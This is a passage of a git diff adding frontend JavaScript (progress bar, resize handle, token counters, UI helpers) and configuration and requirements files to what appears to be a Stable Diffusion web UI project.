matching.sort(function(a, b) { + return b.time - a.time; + }); + var othersTime = 0; + var othersList = []; + var othersRows = []; + var childrenRows = []; + sorted.forEach(function(x) { + var visible = x.time >= cutoff && !hide; + + var cells = []; + for (var i = 0; i < maxLength; i++) { + cells.push(x.parts[i]); + } + cells.push(x.time.toFixed(3)); + var cols = createRow(table, 'td', cells); + for (i = 0; i < level; i++) { + cols[i].className = 'muted'; + } + + var tr = cols[0].parentNode; + if (!visible) { + tr.classList.add("hidden"); + } + + if (x.time >= cutoff) { + childrenRows.push(tr); + } else { + othersTime += x.time; + othersList.push(x.parts[level]); + othersRows.push(tr); + } + + var children = addLevel(level + 1, parent.concat([x.parts[level]]), true); + if (children.length > 0) { + var cell = cols[level]; + var onclick = function() { + cell.classList.remove("link"); + cell.removeEventListener("click", onclick); + children.forEach(function(x) { + x.classList.remove("hidden"); + }); + }; + cell.classList.add("link"); + cell.addEventListener("click", onclick); + } + }); + + if (othersTime > 0) { + var cells = []; + for (var i = 0; i < maxLength; i++) { + cells.push(parent[i]); + } + cells.push(othersTime.toFixed(3)); + cells[level] = 'others'; + var cols = createRow(table, 'td', cells); + for (i = 0; i < level; i++) { + cols[i].className = 'muted'; + } + + var cell = cols[level]; + var tr = cell.parentNode; + var onclick = function() { + tr.classList.add("hidden"); + cell.classList.remove("link"); + cell.removeEventListener("click", onclick); + othersRows.forEach(function(x) { + x.classList.remove("hidden"); + }); + }; + + cell.title = othersList.join(", "); + cell.classList.add("link"); + cell.addEventListener("click", onclick); + + if (hide) { + tr.classList.add("hidden"); + } + + childrenRows.push(tr); + } + + return childrenRows; + }; + + addLevel(0, []); + + popup(table); + }); +} + diff --git a/javascript/progressbar.js b/javascript/progressbar.js new file mode 100644 index 0000000000000000000000000000000000000000..777614954b2d489df32813fb27911dd9bbcd9c9a --- /dev/null +++ b/javascript/progressbar.js @@ -0,0 +1,186 @@ +// code related to showing and updating progressbar shown as the image is being made + +function rememberGallerySelection() { + +} + +function getGallerySelectedIndex() { + +} + +function request(url, data, handler, errorHandler) { + var xhr = new XMLHttpRequest(); + xhr.open("POST", url, true); + xhr.setRequestHeader("Content-Type", "application/json"); + xhr.onreadystatechange = function() { + if (xhr.readyState === 4) { + if (xhr.status === 200) { + try { + var js = JSON.parse(xhr.responseText); + handler(js); + } catch (error) { + console.error(error); + errorHandler(); + } + } else { + errorHandler(); + } + } + }; + var js = JSON.stringify(data); + xhr.send(js); +} + +function pad2(x) { + return x < 10 ? '0' + x : x; +} + +function formatTime(secs) { + if (secs > 3600) { + return pad2(Math.floor(secs / 60 / 60)) + ":" + pad2(Math.floor(secs / 60) % 60) + ":" + pad2(Math.floor(secs) % 60); + } else if (secs > 60) { + return pad2(Math.floor(secs / 60)) + ":" + pad2(Math.floor(secs) % 60); + } else { + return Math.floor(secs) + "s"; + } +} + +function setTitle(progress) { + var title = 'Stable Diffusion'; + + if (opts.show_progress_in_title && progress) { + title = '[' + progress.trim() + '] ' + title; + } + + if (document.title != title) { + document.title = title; + } +} + + +function randomId() { + return "task(" + Math.random().toString(36).slice(2, 7) + Math.random().toString(36).slice(2, 7) + Math.random().toString(36).slice(2, 7) + ")"; +} + +// starts sending progress requests to "/internal/progress" uri, creating progressbar above progressbarContainer element and +// preview inside gallery element. Cleans up all created stuff when the task is over and calls atEnd. +// calls onProgress every time there is a progress update +function requestProgress(id_task, progressbarContainer, gallery, atEnd, onProgress, inactivityTimeout = 40) { + var dateStart = new Date(); + var wasEverActive = false; + var parentProgressbar = progressbarContainer.parentNode; + + var divProgress = document.createElement('div'); + divProgress.className = 'progressDiv'; + divProgress.style.display = opts.show_progressbar ? "block" : "none"; + var divInner = document.createElement('div'); + divInner.className = 'progress'; + + divProgress.appendChild(divInner); + parentProgressbar.insertBefore(divProgress, progressbarContainer); + + var livePreview = null; + + var removeProgressBar = function() { + if (!divProgress) return; + + setTitle(""); + parentProgressbar.removeChild(divProgress); + if (gallery && livePreview) gallery.removeChild(livePreview); + atEnd(); + + divProgress = null; + }; + + var funProgress = function(id_task) { + request("./internal/progress", {id_task: id_task, live_preview: false}, function(res) { + if (res.completed) { + removeProgressBar(); + return; + } + + let progressText = ""; + + divInner.style.width = ((res.progress || 0) * 100.0) + '%'; + divInner.style.background = res.progress ? "" : "transparent"; + + if (res.progress > 0) { + progressText = ((res.progress || 0) * 100.0).toFixed(0) + '%'; + } + + if (res.eta) { + progressText += " ETA: " + formatTime(res.eta); + } + + setTitle(progressText); + + if (res.textinfo && res.textinfo.indexOf("\n") == -1) { + progressText = res.textinfo + " " + progressText; + } + + divInner.textContent = progressText; + + var elapsedFromStart = (new Date() - dateStart) / 1000; + + if (res.active) wasEverActive = true; + + if (!res.active && wasEverActive) { + removeProgressBar(); + return; + } + + if (elapsedFromStart > inactivityTimeout && !res.queued && !res.active) { + removeProgressBar(); + return; + } + + if (onProgress) { + onProgress(res); + } + + setTimeout(() => { + funProgress(id_task, res.id_live_preview); + }, opts.live_preview_refresh_period || 500); + }, function() { + removeProgressBar(); + }); + }; + + var funLivePreview = function(id_task, id_live_preview) { + request("./internal/progress", {id_task: id_task, id_live_preview: id_live_preview}, function(res) { + if (!divProgress) { + return; + } + + if (res.live_preview && gallery) { + var img = new Image(); + img.onload = function() { + if (!livePreview) { + livePreview = document.createElement('div'); + livePreview.className = 'livePreview'; + gallery.insertBefore(livePreview, gallery.firstElementChild); + } + + livePreview.appendChild(img); + if (livePreview.childElementCount > 2) { + livePreview.removeChild(livePreview.firstElementChild); + } + }; + img.src = res.live_preview; + } + + setTimeout(() => { + funLivePreview(id_task, res.id_live_preview); + }, opts.live_preview_refresh_period || 500); + }, function() { + removeProgressBar(); + }); + }; + + funProgress(id_task, 0); + + if (gallery) { + funLivePreview(id_task, 0); + } + +} diff --git a/javascript/resizeHandle.js b/javascript/resizeHandle.js new file mode 100644 index 0000000000000000000000000000000000000000..8c5c5169210603ea229b96b746f9eb16ee4bfe56 --- /dev/null +++ b/javascript/resizeHandle.js @@ -0,0 +1,141 @@ +(function() { + const GRADIO_MIN_WIDTH = 320; + const GRID_TEMPLATE_COLUMNS = '1fr 16px 1fr'; + const PAD = 16; + const DEBOUNCE_TIME = 100; + + const R = { + tracking: false, + parent: null, + parentWidth: null, + leftCol: null, + leftColStartWidth: null, + screenX: null, + }; + + let resizeTimer; + let parents = []; + + function setLeftColGridTemplate(el, width) { + el.style.gridTemplateColumns = `${width}px 16px 1fr`; + } + + function displayResizeHandle(parent) { + if (window.innerWidth < GRADIO_MIN_WIDTH * 2 + PAD * 4) { + parent.style.display = 'flex'; + if (R.handle != null) { + R.handle.style.opacity = '0'; + } + return false; + } else { + parent.style.display = 'grid'; + if (R.handle != null) { + R.handle.style.opacity = '100'; + } + return true; + } + } + + function afterResize(parent) { + if (displayResizeHandle(parent) && parent.style.gridTemplateColumns != GRID_TEMPLATE_COLUMNS) { + const oldParentWidth = R.parentWidth; + const newParentWidth = parent.offsetWidth; + const widthL = parseInt(parent.style.gridTemplateColumns.split(' ')[0]); + + const ratio = newParentWidth / oldParentWidth; + + const newWidthL = Math.max(Math.floor(ratio * widthL), GRADIO_MIN_WIDTH); + setLeftColGridTemplate(parent, newWidthL); + + R.parentWidth = newParentWidth; + } + } + + function setup(parent) { + const leftCol = parent.firstElementChild; + const rightCol = parent.lastElementChild; + + parents.push(parent); + + parent.style.display = 'grid'; + parent.style.gap = '0'; + parent.style.gridTemplateColumns = GRID_TEMPLATE_COLUMNS; + + const resizeHandle = document.createElement('div'); + resizeHandle.classList.add('resize-handle'); + parent.insertBefore(resizeHandle, rightCol); + + resizeHandle.addEventListener('mousedown', (evt) => { + if (evt.button !== 0) return; + + evt.preventDefault(); + evt.stopPropagation(); + + document.body.classList.add('resizing'); + + R.tracking = true; + R.parent = parent; + R.parentWidth = parent.offsetWidth; + R.handle = resizeHandle; + R.leftCol = leftCol; + R.leftColStartWidth = leftCol.offsetWidth; + R.screenX = evt.screenX; + }); + + resizeHandle.addEventListener('dblclick', (evt) => { + evt.preventDefault(); + evt.stopPropagation(); + + parent.style.gridTemplateColumns = GRID_TEMPLATE_COLUMNS; + }); + + afterResize(parent); + } + + window.addEventListener('mousemove', (evt) => { + if (evt.button !== 0) return; + + if (R.tracking) { + evt.preventDefault(); + evt.stopPropagation(); + + const delta = R.screenX - evt.screenX; + const leftColWidth = Math.max(Math.min(R.leftColStartWidth - delta, R.parent.offsetWidth - GRADIO_MIN_WIDTH - PAD), GRADIO_MIN_WIDTH); + setLeftColGridTemplate(R.parent, leftColWidth); + } + }); + + window.addEventListener('mouseup', (evt) => { + if (evt.button !== 0) return; + + if (R.tracking) { + evt.preventDefault(); + evt.stopPropagation(); + + R.tracking = false; + + document.body.classList.remove('resizing'); + } + }); + + + window.addEventListener('resize', () => { + clearTimeout(resizeTimer); + + resizeTimer = setTimeout(function() { + for (const parent of parents) { + afterResize(parent); + } + }, DEBOUNCE_TIME); + }); + + setupResizeHandle = setup; +})(); + +onUiLoaded(function() { + for (var elem of gradioApp().querySelectorAll('.resize-handle-row')) { + if (!elem.querySelector('.resize-handle')) { + setupResizeHandle(elem); + } + } +}); diff --git a/javascript/textualInversion.js b/javascript/textualInversion.js new file mode 100644 index 0000000000000000000000000000000000000000..20443fcca01bbba6712e40136c57dbcdb78ca945 --- /dev/null +++ b/javascript/textualInversion.js @@ -0,0 +1,17 @@ + + + +function start_training_textual_inversion() { + gradioApp().querySelector('#ti_error').innerHTML = ''; + + var id = randomId(); + requestProgress(id, gradioApp().getElementById('ti_output'), gradioApp().getElementById('ti_gallery'), function() {}, function(progress) { + gradioApp().getElementById('ti_progress').innerHTML = progress.textinfo; + }); + + var res = Array.from(arguments); + + res[0] = id; + + return res; +} diff --git a/javascript/token-counters.js b/javascript/token-counters.js new file mode 100644 index 0000000000000000000000000000000000000000..9d81a723b01f8b6e3c0894b7a5191dc6b1614c2d --- /dev/null +++ b/javascript/token-counters.js @@ -0,0 +1,83 @@ +let promptTokenCountDebounceTime = 800; +let promptTokenCountTimeouts = {}; +var promptTokenCountUpdateFunctions = {}; + +function update_txt2img_tokens(...args) { + // Called from Gradio + update_token_counter("txt2img_token_button"); + if (args.length == 2) { + return args[0]; + } + return args; +} + +function update_img2img_tokens(...args) { + // Called from Gradio + update_token_counter("img2img_token_button"); + if (args.length == 2) { + return args[0]; + } + return args; +} + +function update_token_counter(button_id) { + if (opts.disable_token_counters) { + return; + } + if (promptTokenCountTimeouts[button_id]) { + clearTimeout(promptTokenCountTimeouts[button_id]); + } + promptTokenCountTimeouts[button_id] = setTimeout( + () => gradioApp().getElementById(button_id)?.click(), + promptTokenCountDebounceTime, + ); +} + + +function recalculatePromptTokens(name) { + promptTokenCountUpdateFunctions[name]?.(); +} + +function recalculate_prompts_txt2img() { + // Called from Gradio + recalculatePromptTokens('txt2img_prompt'); + recalculatePromptTokens('txt2img_neg_prompt'); + return Array.from(arguments); +} + +function recalculate_prompts_img2img() { + // Called from Gradio + recalculatePromptTokens('img2img_prompt'); + recalculatePromptTokens('img2img_neg_prompt'); + return Array.from(arguments); +} + +function setupTokenCounting(id, id_counter, id_button) { + var prompt = gradioApp().getElementById(id); + var counter = gradioApp().getElementById(id_counter); + var textarea = gradioApp().querySelector(`#${id} > label > textarea`); + + if (opts.disable_token_counters) { + counter.style.display = "none"; + return; + } + + if (counter.parentElement == prompt.parentElement) { + return; + } + + prompt.parentElement.insertBefore(counter, prompt); + prompt.parentElement.style.position = "relative"; + + promptTokenCountUpdateFunctions[id] = function() { + update_token_counter(id_button); + }; + textarea.addEventListener("input", promptTokenCountUpdateFunctions[id]); +} + +function setupTokenCounters() { + setupTokenCounting('txt2img_prompt', 'txt2img_token_counter', 'txt2img_token_button'); + setupTokenCounting('txt2img_neg_prompt', 'txt2img_negative_token_counter', 'txt2img_negative_token_button'); + setupTokenCounting('img2img_prompt', 'img2img_token_counter', 'img2img_token_button'); + setupTokenCounting('img2img_neg_prompt', 'img2img_negative_token_counter', 'img2img_negative_token_button'); +} diff --git a/javascript/ui.js b/javascript/ui.js new file mode 100644 index 0000000000000000000000000000000000000000..bedcbf3e211f5bc1222f2ad2f28c4622614e32a5 --- /dev/null +++ b/javascript/ui.js @@ -0,0 +1,368 @@ +// various functions for interaction with ui.py not large enough to warrant putting them in separate files + +function set_theme(theme) { + var gradioURL = window.location.href; + if (!gradioURL.includes('?__theme=')) { + window.location.replace(gradioURL + '?__theme=' + theme); + } +} + +function all_gallery_buttons() { + var allGalleryButtons = gradioApp().querySelectorAll('[style="display: block;"].tabitem div[id$=_gallery].gradio-gallery .thumbnails > .thumbnail-item.thumbnail-small'); + var visibleGalleryButtons = []; + allGalleryButtons.forEach(function(elem) { + if (elem.parentElement.offsetParent) { + visibleGalleryButtons.push(elem); + } + }); + return visibleGalleryButtons; +} + +function selected_gallery_button() { + return all_gallery_buttons().find(elem => elem.classList.contains('selected')) ?? null; +} + +function selected_gallery_index() { + return all_gallery_buttons().findIndex(elem => elem.classList.contains('selected')); +} + +function extract_image_from_gallery(gallery) { + if (gallery.length == 0) { + return [null]; + } + if (gallery.length == 1) { + return [gallery[0]]; + } + + var index = selected_gallery_index(); + + if (index < 0 || index >= gallery.length) { + // Use the first image in the gallery as the default + index = 0; + } + + return [gallery[index]]; +} + +window.args_to_array = Array.from; // Compatibility with e.g. extensions that may expect this to be around + +function switch_to_txt2img() { + gradioApp().querySelector('#tabs').querySelectorAll('button')[0].click(); + + return Array.from(arguments); +} + +function switch_to_img2img_tab(no) { + gradioApp().querySelector('#tabs').querySelectorAll('button')[1].click(); + gradioApp().getElementById('mode_img2img').querySelectorAll('button')[no].click(); +} +function switch_to_img2img() { + switch_to_img2img_tab(0); + return Array.from(arguments); +} + +function switch_to_sketch() { + switch_to_img2img_tab(1); + return Array.from(arguments); +} + +function switch_to_inpaint() { + switch_to_img2img_tab(2); + return Array.from(arguments); +} + +function switch_to_inpaint_sketch() { + switch_to_img2img_tab(3); + return Array.from(arguments); +} + +function switch_to_extras() { + gradioApp().querySelector('#tabs').querySelectorAll('button')[2].click(); + + return Array.from(arguments); +} + +function get_tab_index(tabId) { + let buttons = gradioApp().getElementById(tabId).querySelector('div').querySelectorAll('button'); + for (let i = 0; i < buttons.length; i++) { + if (buttons[i].classList.contains('selected')) { + return i; + } + } + return 0; +} + +function create_tab_index_args(tabId, args) { + var res = Array.from(args); + res[0] = get_tab_index(tabId); + return res; +} + +function get_img2img_tab_index() { + let res = Array.from(arguments); + res.splice(-2); + res[0] = get_tab_index('mode_img2img'); + return res; +} + +function create_submit_args(args) { + var res = Array.from(args); + + // As it is currently, txt2img and img2img send back the previous output args (txt2img_gallery, generation_info, html_info) whenever you generate a new image. + // This can lead to uploading a huge gallery of previously generated images, which leads to an unnecessary delay between submitting and beginning to generate. + // I don't know why gradio is sending outputs along with inputs, but we can prevent sending the image gallery here, which seems to be an issue for some. + // If gradio at some point stops sending outputs, this may break something + if (Array.isArray(res[res.length - 3])) { + res[res.length - 3] = null; + } + + return res; +} + +function showSubmitButtons(tabname, show) { + gradioApp().getElementById(tabname + '_interrupt').style.display = show ? "none" : "block"; + gradioApp().getElementById(tabname + '_skip').style.display = show ? "none" : "block"; +} + +function showRestoreProgressButton(tabname, show) { + var button = gradioApp().getElementById(tabname + "_restore_progress"); + if (!button) return; + + button.style.display = show ? "flex" : "none"; +} + +function submit() { + showSubmitButtons('txt2img', false); + + var id = randomId(); + localSet("txt2img_task_id", id); + + requestProgress(id, gradioApp().getElementById('txt2img_gallery_container'), gradioApp().getElementById('txt2img_gallery'), function() { + showSubmitButtons('txt2img', true); + localRemove("txt2img_task_id"); + showRestoreProgressButton('txt2img', false); + }); + + var res = create_submit_args(arguments); + + res[0] = id; + + return res; +} + +function submit_img2img() { + showSubmitButtons('img2img', false); + + var id = randomId(); + localSet("img2img_task_id", id); + + requestProgress(id, gradioApp().getElementById('img2img_gallery_container'), gradioApp().getElementById('img2img_gallery'), function() { + showSubmitButtons('img2img', true); + localRemove("img2img_task_id"); + showRestoreProgressButton('img2img', false); + }); + + var res = create_submit_args(arguments); + + res[0] = id; + res[1] = get_tab_index('mode_img2img'); + + return res; +} + +function restoreProgressTxt2img() { + showRestoreProgressButton("txt2img", false); + var id = localGet("txt2img_task_id"); + + if (id) { + requestProgress(id, gradioApp().getElementById('txt2img_gallery_container'), gradioApp().getElementById('txt2img_gallery'), function() { + showSubmitButtons('txt2img', true); + }, null, 0); + } + + return id; +} + +function restoreProgressImg2img() { + showRestoreProgressButton("img2img", false); + + var id = localGet("img2img_task_id"); + + if (id) { + requestProgress(id, gradioApp().getElementById('img2img_gallery_container'), gradioApp().getElementById('img2img_gallery'), function() { + showSubmitButtons('img2img', true); + }, null, 0); + } + + return id; +} + + +onUiLoaded(function() { + showRestoreProgressButton('txt2img', localGet("txt2img_task_id")); + showRestoreProgressButton('img2img', localGet("img2img_task_id")); +}); + + +function modelmerger() { + var id = randomId(); + requestProgress(id, gradioApp().getElementById('modelmerger_results_panel'), null, function() {}); + + var res = create_submit_args(arguments); + res[0] = id; + return res; +} + + +function ask_for_style_name(_, prompt_text, negative_prompt_text) { + var name_ = prompt('Style name:'); + return [name_, prompt_text, negative_prompt_text]; +} + +function confirm_clear_prompt(prompt, negative_prompt) { + if (confirm("Delete prompt?")) { + prompt = ""; + negative_prompt = ""; + } + + return [prompt, negative_prompt]; +} + + +var opts = {}; +onAfterUiUpdate(function() { + if (Object.keys(opts).length != 0) return; + + var json_elem = gradioApp().getElementById('settings_json'); + if (json_elem == null) return; + + var textarea = json_elem.querySelector('textarea'); + var jsdata = textarea.value; + opts = JSON.parse(jsdata); + + executeCallbacks(optionsChangedCallbacks); /*global optionsChangedCallbacks*/ + + Object.defineProperty(textarea, 'value', { + set: function(newValue) { + var valueProp = Object.getOwnPropertyDescriptor(HTMLTextAreaElement.prototype, 'value'); + var oldValue = valueProp.get.call(textarea); + valueProp.set.call(textarea, newValue); + + if (oldValue != newValue) { + opts = JSON.parse(textarea.value); + } + + executeCallbacks(optionsChangedCallbacks); + }, + get: function() { + var valueProp = Object.getOwnPropertyDescriptor(HTMLTextAreaElement.prototype, 'value'); + return valueProp.get.call(textarea); + } + }); + + json_elem.parentElement.style.display = "none"; + + setupTokenCounters(); + + var show_all_pages = gradioApp().getElementById('settings_show_all_pages'); + var settings_tabs = gradioApp().querySelector('#settings div'); + if (show_all_pages && settings_tabs) { + settings_tabs.appendChild(show_all_pages); + show_all_pages.onclick = function() { + gradioApp().querySelectorAll('#settings > div').forEach(function(elem) { + if (elem.id == "settings_tab_licenses") { + return; + } + + elem.style.display = "block"; + }); + }; + } +}); + +onOptionsChanged(function() { + var elem = gradioApp().getElementById('sd_checkpoint_hash'); + var sd_checkpoint_hash = opts.sd_checkpoint_hash || ""; + var shorthash = sd_checkpoint_hash.substring(0, 10); + + if (elem && elem.textContent != shorthash) { + elem.textContent = shorthash; + elem.title = sd_checkpoint_hash; + elem.href = "https://google.com/search?q=" + sd_checkpoint_hash; + } +}); + +let txt2img_textarea, img2img_textarea = undefined; + +function restart_reload() { + document.body.innerHTML = '

Reloading...

'; + + var requestPing = function() { + requestGet("./internal/ping", {}, function(data) { + location.reload(); + }, function() { + setTimeout(requestPing, 500); + }); + }; + + setTimeout(requestPing, 2000); + + return []; +} + +// Simulate an `input` DOM event for Gradio Textbox component. Needed after you edit its contents in javascript, otherwise your edits +// will only visible on web page and not sent to python. +function updateInput(target) { + let e = new Event("input", {bubbles: true}); + Object.defineProperty(e, "target", {value: target}); + target.dispatchEvent(e); +} + + +var desiredCheckpointName = null; +function selectCheckpoint(name) { + desiredCheckpointName = name; + gradioApp().getElementById('change_checkpoint').click(); +} + +function currentImg2imgSourceResolution(w, h, scaleBy) { + var img = gradioApp().querySelector('#mode_img2img > div[style="display: block;"] img'); + return img ? [img.naturalWidth, img.naturalHeight, scaleBy] : [0, 0, scaleBy]; +} + +function updateImg2imgResizeToTextAfterChangingImage() { + // At the time this is called from gradio, the image has no yet been replaced. + // There may be a better solution, but this is simple and straightforward so I'm going with it. + + setTimeout(function() { + gradioApp().getElementById('img2img_update_resize_to').click(); + }, 500); + + return []; + +} + + + +function setRandomSeed(elem_id) { + var input = gradioApp().querySelector("#" + elem_id + " input"); + if (!input) return []; + + input.value = "-1"; + updateInput(input); + return []; +} + +function switchWidthHeight(tabname) { + var width = gradioApp().querySelector("#" + tabname + "_width input[type=number]"); + var height = gradioApp().querySelector("#" + tabname + "_height input[type=number]"); + if (!width || !height) return []; + + var tmp = width.value; + width.value = height.value; + height.value = tmp; + + updateInput(width); + updateInput(height); + return []; +} diff --git a/javascript/ui_settings_hints.js b/javascript/ui_settings_hints.js new file mode 100644 index 0000000000000000000000000000000000000000..d088f9494f826d9534dc105ac2f99bda702d22c0 --- /dev/null +++ b/javascript/ui_settings_hints.js @@ -0,0 +1,62 @@ +// various hints and extra info for the settings tab + +var settingsHintsSetup = false; + +onOptionsChanged(function() { + if (settingsHintsSetup) return; + settingsHintsSetup = true; + + gradioApp().querySelectorAll('#settings [id^=setting_]').forEach(function(div) { + var name = div.id.substr(8); + var commentBefore = opts._comments_before[name]; + var commentAfter = opts._comments_after[name]; + + if (!commentBefore && !commentAfter) return; + + var span = null; + if (div.classList.contains('gradio-checkbox')) span = div.querySelector('label span'); + else if (div.classList.contains('gradio-checkboxgroup')) span = div.querySelector('span').firstChild; + else if (div.classList.contains('gradio-radio')) span = div.querySelector('span').firstChild; + else span = div.querySelector('label span').firstChild; + + if (!span) return; + + if (commentBefore) { + var comment = document.createElement('DIV'); + comment.className = 'settings-comment'; + comment.innerHTML = commentBefore; + span.parentElement.insertBefore(document.createTextNode('\xa0'), span); + span.parentElement.insertBefore(comment, span); + span.parentElement.insertBefore(document.createTextNode('\xa0'), span); + } + if (commentAfter) { + comment = document.createElement('DIV'); + comment.className = 'settings-comment'; + comment.innerHTML = commentAfter; + span.parentElement.insertBefore(comment, span.nextSibling); + span.parentElement.insertBefore(document.createTextNode('\xa0'), span.nextSibling); + } + }); +}); + +function settingsHintsShowQuicksettings() { + requestGet("./internal/quicksettings-hint", {}, function(data) { + var table = document.createElement('table'); + table.className = 'popup-table'; + + data.forEach(function(obj) { + var tr = document.createElement('tr'); + var td = document.createElement('td'); + td.textContent = obj.name; + tr.appendChild(td); + + td = document.createElement('td'); + td.textContent = obj.label; + tr.appendChild(td); + + table.appendChild(tr); + }); + + popup(table); + }); +} diff --git a/launch.py b/launch.py new file mode 100644 index 0000000000000000000000000000000000000000..cafab78060f727848ac47bd041b1c51d69875c33 --- /dev/null +++ b/launch.py @@ -0,0 +1,48 @@ +from modules import launch_utils + +args = launch_utils.args +python = launch_utils.python +git = launch_utils.git +index_url = launch_utils.index_url +dir_repos = launch_utils.dir_repos + +commit_hash = launch_utils.commit_hash +git_tag = launch_utils.git_tag + +run = launch_utils.run +is_installed = launch_utils.is_installed +repo_dir = launch_utils.repo_dir + +run_pip = launch_utils.run_pip +check_run_python = launch_utils.check_run_python +git_clone = launch_utils.git_clone +git_pull_recursive = launch_utils.git_pull_recursive +list_extensions = launch_utils.list_extensions +run_extension_installer = launch_utils.run_extension_installer +prepare_environment = launch_utils.prepare_environment +configure_for_tests = launch_utils.configure_for_tests +start = launch_utils.start + + +def main(): + if args.dump_sysinfo: + filename = launch_utils.dump_sysinfo() + + print(f"Sysinfo saved as {filename}. Exiting...") + + exit(0) + + launch_utils.startup_timer.record("initial startup") + + with launch_utils.startup_timer.subcategory("prepare environment"): + if not args.skip_prepare_environment: + prepare_environment() + + if args.test_server: + configure_for_tests() + + start() + + +if __name__ == "__main__": + main() diff --git a/localizations/Put localization files here.txt b/localizations/Put localization files here.txt new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/package.json b/package.json new file mode 100644 index 0000000000000000000000000000000000000000..c0ba406787db88b636d72767866274554f77381b --- /dev/null +++ b/package.json @@ -0,0 +1,11 @@ +{ + "name": "stable-diffusion-webui", + "version": "0.0.0", + "devDependencies": { + "eslint": "^8.40.0" + }, + "scripts": { + "lint": "eslint .", + "fix": "eslint --fix ." + } +} diff --git a/params.txt b/params.txt new file mode 100644 index 0000000000000000000000000000000000000000..0dd44a9bea4fc758ab3684eb60d1709d8500c929 --- /dev/null +++ b/params.txt @@ -0,0 +1,2 @@ +Testing123 +Steps: 50, Sampler: Euler, CFG scale: 7.0, Seed: 1956085158, Size: 512x512, Model hash: 31e35c80fc, Model: sd_xl_base_1.0, Denoising strength: 0, Version: v1.6.0 \ No newline at end of file diff --git a/pyproject.toml b/pyproject.toml new file mode 100644 index 0000000000000000000000000000000000000000..80541a8f35319e15d837ea8bdd3ffc4de25776ea --- /dev/null +++ b/pyproject.toml @@ -0,0 +1,35 @@ +[tool.ruff] + +target-version = "py39" + +extend-select = [ + "B", + "C", + "I", + "W", +] + +exclude = [ + "extensions", + "extensions-disabled", +] + +ignore = [ + "E501", # Line too long + "E731", # Do not assign a `lambda` expression, use a `def` + + "I001", # Import block is un-sorted or un-formatted + "C901", # Function is too complex + "C408", # Rewrite as a literal + "W605", # invalid escape sequence, messes with some docstrings +] + +[tool.ruff.per-file-ignores] +"webui.py" = ["E402"] # Module level import not at top of file + +[tool.ruff.flake8-bugbear] +# Allow default arguments like, e.g., `data: List[str] = fastapi.Query(None)`. +extend-immutable-calls = ["fastapi.Depends", "fastapi.security.HTTPBasic"] + +[tool.pytest.ini_options] +base_url = "http://127.0.0.1:7860" diff --git a/requirements-test.txt b/requirements-test.txt new file mode 100644 index 0000000000000000000000000000000000000000..37838ca25e87551365de00a940f82654b0f7762b --- /dev/null +++ b/requirements-test.txt @@ -0,0 +1,3 @@ +pytest-base-url~=2.0 +pytest-cov~=4.0 +pytest~=7.3 diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000000000000000000000000000000000000..aa1f929280503c7494f992aa29a76608ff52d5e5 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,34 @@ +GitPython +Pillow +accelerate + +basicsr +blendmodes +clean-fid +einops +fastapi>=0.90.1 +gfpgan +gradio==3.41.2 +inflection +jsonmerge +kornia +lark +numpy +omegaconf +open-clip-torch + +piexif +psutil +pytorch_lightning +realesrgan +requests +resize-right + +safetensors +scikit-image>=0.19 +timm +tomesd +torch +torchdiffeq +torchsde +transformers==4.30.2 diff --git a/requirements_versions.txt b/requirements_versions.txt new file mode 100644 index 0000000000000000000000000000000000000000..ca49d6cb2302f2da3c675fe0308908310be80f68 --- /dev/null +++ b/requirements_versions.txt @@ -0,0 +1,31 @@ +GitPython==3.1.32 +Pillow==9.5.0 +accelerate==0.21.0 +basicsr==1.4.2 +blendmodes==2022 +clean-fid==0.1.35 +einops==0.4.1 +fastapi==0.94.0 +gfpgan==1.3.8 +gradio==3.41.2 +httpcore==0.15 +inflection==0.5.1 +jsonmerge==1.8.0 +kornia==0.6.7 +lark==1.1.2 +numpy==1.23.5 +omegaconf==2.2.3 +open-clip-torch==2.20.0 +piexif==1.1.3 +psutil==5.9.5 +pytorch_lightning==1.9.4 +realesrgan==0.3.0 +resize-right==0.0.2 +safetensors==0.3.1 +scikit-image==0.21.0 +timm==0.9.2 +tomesd==0.1.3 +torch +torchdiffeq==0.2.3 +torchsde==0.2.5 +transformers==4.30.2 diff --git a/screenshot.png b/screenshot.png new file mode 100644 index 0000000000000000000000000000000000000000..47a1be4ec43e315f3e47139b10b0f9a8045904f3 Binary files /dev/null and b/screenshot.png differ diff --git a/script.js b/script.js new file mode 100644 index 0000000000000000000000000000000000000000..34cca7651dd31a79fe68b27cb0febb58d3e4a237 --- /dev/null +++ b/script.js @@ -0,0 +1,163 @@ +function gradioApp() { + const elems = document.getElementsByTagName('gradio-app'); + const elem = elems.length == 0 ? document : elems[0]; + + if (elem !== document) { + elem.getElementById = function(id) { + return document.getElementById(id); + }; + } + return elem.shadowRoot ? elem.shadowRoot : elem; +} + +/** + * Get the currently selected top-level UI tab button (e.g. the button that says "Extras"). + */ +function get_uiCurrentTab() { + return gradioApp().querySelector('#tabs > .tab-nav > button.selected'); +} + +/** + * Get the first currently visible top-level UI tab content (e.g. the div hosting the "txt2img" UI). + */ +function get_uiCurrentTabContent() { + return gradioApp().querySelector('#tabs > .tabitem[id^=tab_]:not([style*="display: none"])'); +} + +var uiUpdateCallbacks = []; +var uiAfterUpdateCallbacks = []; +var uiLoadedCallbacks = []; +var uiTabChangeCallbacks = []; +var optionsChangedCallbacks = []; +var uiAfterUpdateTimeout = null; +var uiCurrentTab = null; + +/** + * Register callback to be called at each UI update. + * The callback receives an array of MutationRecords as an argument. + */ +function onUiUpdate(callback) { + uiUpdateCallbacks.push(callback); +} + +/** + * Register callback to be called soon after UI updates. + * The callback receives no arguments. + * + * This is preferred over `onUiUpdate` if you don't need + * access to the MutationRecords, as your function will + * not be called quite as often. + */ +function onAfterUiUpdate(callback) { + uiAfterUpdateCallbacks.push(callback); +} + +/** + * Register callback to be called when the UI is loaded. + * The callback receives no arguments. + */ +function onUiLoaded(callback) { + uiLoadedCallbacks.push(callback); +} + +/** + * Register callback to be called when the UI tab is changed. + * The callback receives no arguments. + */ +function onUiTabChange(callback) { + uiTabChangeCallbacks.push(callback); +} + +/** + * Register callback to be called when the options are changed. + * The callback receives no arguments. + * @param callback + */ +function onOptionsChanged(callback) { + optionsChangedCallbacks.push(callback); +} + +function executeCallbacks(queue, arg) { + for (const callback of queue) { + try { + callback(arg); + } catch (e) { + console.error("error running callback", callback, ":", e); + } + } +} + +/** + * Schedule the execution of the callbacks registered with onAfterUiUpdate. + * The callbacks are executed after a short while, unless another call to this function + * is made before that time. IOW, the callbacks are executed only once, even + * when there are multiple mutations observed. + 